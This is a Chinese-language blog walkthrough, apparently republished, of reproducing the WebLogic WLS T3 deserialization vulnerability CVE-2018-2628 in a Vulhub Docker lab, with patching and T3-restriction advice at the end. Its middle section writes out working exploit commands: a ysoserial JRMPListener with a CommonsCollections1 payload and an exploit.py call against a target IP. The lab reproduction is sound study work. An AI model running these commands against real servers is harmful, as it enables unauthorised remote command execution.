Vulhub漏洞系列:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Posted ccooll_快乐的抬锅哟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulhub漏洞系列:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)相关的知识,希望对你有一定的参考价值。

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

00.前言


这篇文章将对该漏洞进行简介并复现,同时简要说明Vulhub的使用方法,适合小白一起学习,大佬看看就好☺


01.简介

  Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

影响版本:
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0

参考链接:


02.漏洞描述

  远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。

03.漏洞复现

  首先,在vulhub-master中漏洞的相应位置打开终端,输入docker-compose up -d打开环境:

  docker-compose up -d

  然后输入docker ps查看环境是否打开成功:

  docker ps

1、搭建好后访问http://yourip:7001/console查看是否搭建OK:
2、接下来我们先下载反序列化工具ysoserial和该漏洞的exp,然后利用ysoserial启动JRMP Server,目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

试验中的IP:
靶机:192.168.10.139
攻击机kali:192.162.10.129

在kali运行以下命令:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/evil'


接着执行刚刚下载好的exp(python版本为2.7,exploit.py脚本只能在python2上执行),向目标Weblogic(http://your-ip:7001)发送数据包:

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

  其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

在kali运行下面的命令:

python exploit.py 192.168.10.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.10.129 1099 JRMPClient


可以查看刚刚的监听是否发送成功:


靶机接收后,我们进入docker容器验证,使用以下命令:

sudo docker exec -it d29e540b5e8e /bin/bash  

其中d29e540b5e8e是该容器的id:


进入后,我们可以查看到在/tmp下,的确有evil存在,至此漏洞复现成功:

最后复现完漏洞就可以关闭环境了:

  docker-compose down

04.漏洞复现

  官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  手工修复:控制T3协议的访问权限来临时阻断漏洞利用。



结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺

以上是关于Vulhub漏洞系列:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)的主要内容,如果未能解决你的问题,请参考以下文章

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

漏洞复现-vulhub复现Weblogic的SSRF漏洞

漏洞复现-vulhub复现Weblogic的SSRF漏洞

weblogic漏洞系列-后台上传文件getshell

[漏洞预警]Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞

WebLogic中WLS 组件漏洞(CVE-2017-10271)专项检测工具